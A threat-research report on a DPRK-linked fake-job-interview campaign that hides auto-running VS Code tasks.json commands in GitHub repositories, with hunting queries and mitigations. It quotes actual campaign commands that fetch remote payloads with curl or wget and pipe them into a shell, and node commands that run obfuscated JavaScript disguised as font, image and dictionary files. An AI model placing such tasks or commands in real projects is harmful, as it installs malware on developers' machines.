Contagious Interview: Tracking the VS Code Tasks Vector | Abstract

Contagious Interview: Tracking the VS Code Tasks Infection Vector

Written by:
Abstract Security Threat Research Organization (ASTRO)
Published on:
Jan 20, 2026

Executive Summary

The DPRK-attributed Contagious Interview campaign continues to target software developers through fake recruitment schemes disguised as technical assessments and code reviews of projects hosted on platforms like GitHub. A relatively new technique in the campaign's arsenal leverages Microsoft Visual Studio Code task files (located at .vscode/tasks.json) to achieve malicious code execution upon project open. This report documents our observations tracking this vector, presents GitHub-based discovery methods, highlights unique findings including a newly published malicious Node Package Manager (NPM) package, and outlines detection opportunities for defenders.

Background

Recent reporting from the security community has documented the campaign's adoption of VS Code task files as an infection vector, ultimately leading to deployment of the BeaverTail downloader and InvisibleFerret backdoor:

Earlier work from NVISO documented the campaign's use of legitimate JSON storage services for payload staging, a technique that remains in active use alongside the VS Code tasks vector.
This report builds on that foundation with additional observations from our tracking efforts.

The VS Code Tasks Vector

How It Works

Visual Studio Code's Task feature allows developers to automate workflows and run tools without manual interaction. Tasks are configured in the .vscode/tasks.json file for a workspace. The most important facilitator for this attack vector is the configuration's runOptions property, which supports a runOn value of folderOpen, causing the defined task to execute automatically when a workspace is opened. This is intended to streamline developer workflows like starting build watchers, linters, or development servers when a project opens.

Contagious Interview actors exploit this by including malicious shell commands in tasks.json files. When a victim clones a repository to their local machine and opens it in VS Code, the malicious task executes and kicks off the infection chain leading to malware installation. Furthermore, the presentation property among others in tasks.json can be configured to hide the shell activity entirely, leaving the victim unaware that anything executed at all.

This image breaks down the tasks configuration properties quite well (ref. pcaversaccio):

A Tiny, Tiny Silver Lining...

One might be somewhat relieved to know that tasks execution requires the victim to trust the workspace when prompted. However, this trust prompt is a single click away from compromise, and social engineering ("please follow the setup instructions exactly") is often sufficient to convince targets in the context of a job interview. Notably, once a workspace is trusted the user is never prompted again, establishing persistence for malware installation on subsequent project opens.

...Demolished by Reality

Additionally, a project doesn't necessarily have to start off with malicious tasks embedded; subsequent pulls containing newly added malicious tasks will execute without re-prompting. An attacker who controls or gains commit access to a previously trusted repository could push malicious changes that execute silently the next time a collaborator opens the project. This extends the threat model beyond cloning unfamiliar repositories to include ongoing collaboration with compromised projects.

Continuity with Existing Techniques

While the tasks.json vector is a newer addition to the campaign's toolkit and a marked move away from reliance on ClickFix for initial infection, it integrates with previously documented Contagious Interview techniques:

The tasks.json file serves as the trigger mechanism, while downstream payload delivery mirrors patterns documented by the research community over the past year.

The earliest public POC of this VS Code backdoor technique appears in this VS Code-Backdoor repository from researcher SaadAhla.

Tracking Activity with GitHub Code Search

GitHub Code search provides an effective mechanism for identifying repositories using this technique. We developed several queries to surface malicious tasks.json files and track campaign activity.

Finding Tasks.json with Downloaders

This query identifies repositories containing tasks.json files with commands directly running curl or wget to fetch and immediately execute payloads.

path:tasks.json runOn folderOpen (curl OR wget) (cmd OR "| sh")

Most tasks cover both Windows and Unix-like platforms. Here are some command samples:

"osx": { "command": "curl 'https://www.regioncheck.xyz/settings/mac?flag=8' | bash && nohup node .vscode/spellright.dict > /dev/null 2>&1 &" }

"linux": {
  "command": "wget -qO- 'https://vscode-toolkit-bootstrap.vercel.app/settings/linux?flag=306' \| sh"
}

"windows": {
  "command": "curl --ssl-no-revoke -L https://vscodesettingstask.vercel.app/api/settings/windows \| cmd"
}

This surfaces new repositories from known personas (puppet GitHub user accounts associated with Contagious Interview activity), identifies new personas using similar techniques, and reveals variations in implementation. However, it does not capture everything. Some tasks.json commands execute payloads stored elsewhere in the repository or trigger infections through malicious package installations rather than direct downloads.

An Amusing Evasion Technique

While reviewing search results, we noticed several tasks.json files' commands appeared empty at first glance, but a horizontal scroll bar hinted at content extending beyond the visible window.

This example is present in https://github.com/dmbruno/card-activity, one of a few repos we observe using this trick updated within the last month.

Finding Infrastructure Beyond Vercel

Existing reporting often highlights Vercel domain abuse, and for good reason as it's a consistent pattern in this campaign evolution. However, we observe that non-Vercel domains are also used, revealed by excluding "vercel" from our search:

path:tasks.json runOn folderOpen (curl OR wget) (cmd OR "| sh") NOT vercel

This query finds malicious tasks.json files not using Vercel domains, surfacing outliers. Note that this can include false positive results and should be reviewed.

The search revealed the following additional payload hosting domains, all of which appear in recently created or updated repositories as of the time of this analysis.

Payload Masquerading in Image, Font, and Text Files

Fake Spellcheck

One tasks file using regioncheck[.]xyz within repo ta3pks/Decentralized-Social shows a case of Node executing a .vscode/spellright.dict file:

"osx": { "command": "curl 'https://www.regioncheck.xyz/settings/mac?flag=8' | bash && nohup node .vscode/spellright.dict > /dev/null 2>&1 &" },

    "linux": {
      "command": "wget -qO- 'https://www.regioncheck.xyz/settings/linux?flag=8' \| sh"
    },
    
    "windows": {
      "command": "curl https://www.regioncheck.xyz/settings/windows?flag=8 \| cmd && node .vscode/spellright.dict"
    }

The spellright.dict file appears to be a dictionary for the Spell Right VS Code extension. Spoiler, it's obfuscated JavaScript. Node.js doesn't care about file extensions. It will execute JavaScript from a .dict file without complaint.

Hunting for Tasks Executing Image and Font Files

This GitHub Code search surfaces tasks.json commands using node to execute JavaScript hidden in image and font files (add extensions as needed, or look for NOT .jsto catch more variations). Again, mind the false positives in the results.

path:tasks.json runOn folderOpen node (.woff OR .svg OR .jpeg OR .png)

Some examples from the results:

"command": "node webfonts/fa-brands-regular.woff2"

"windows": {
  "command": "node src/assets/card4.jpeg",
},

"osx": {
  "command": "nohup node src/assets/card4.jpeg > /dev/null 2>&1 &"
}

"windows": {
  "command": "node src/images/logo-red.svg"
},

"osx": {
  "command": "nohup node src/images/logo-red.svg > /dev/null 2>&1 &"
}

These all contain obfuscated JavaScript, such as in this webfonts/fa-brands-regular.woff2.

A Shared Pattern Leads to More Variants

We noticed that these tasks.json files often contained "label": "eslint-check". Using that label in this search returned the same results along with new variants.

path:tasks.json runOn folderOpen "eslint-check"

Malicious NPM Package Installation Variant

One repository presenting itself as a "Food Ordering Web App Technical Assessment (MERN Stack)" takes a different approach. Rather than executing payloads directly from tasks.json, it triggers NPM installation of a malicious package dependency.

The tasks.json makes use of args like so to run npm install and start a backend server.

The backend/package.json includes:

The package "jsonwebauth" sounds plausible, but code in backend/server.js reveals an inconsistency. The jsonwebauth package is imported as dotenv and used as Express middleware. Neither makes sense for a supposed JWT library and raises suspicion.

Finding Activity Through Commit Authors

Many of the personas that own malicious repositories or have committed to them can be leveraged to map out undiscovered repositories. However, their commit histories are often extensive and not always for files of interest like tasks.json.

We found that searching for commits from git commit authors who have no linked GitHub account tends to yield less noisy results. In these examples, we search for commit author emails associated with personas that have made commits to tasks.json files in other malicious repositories. These return highly relevant results.

Mitigations

Disable automatic task execution. Set task.allowAutomaticTasks to off in VS Code user settings. This prevents tasks with runOn: folderOpen from executing without explicit user action.

Use GitHub's web editor for initial review. Pressing the "." key on any GitHub repository opens a browser-based VS Code environment at github.dev. This environment has no shell capability, allowing safe inspection of repository contents including .vscode/tasks.json files.

Avoid opening unfamiliar repositories in VS Code Desktop. Repositories received as part of job interviews or technical assessments carry elevated risk. If you must open such repositories in VS Code Desktop, check first in-browser for a .vscode/tasks.json file set to execute commands automatically on folder open, and do not trust the workspace when prompted.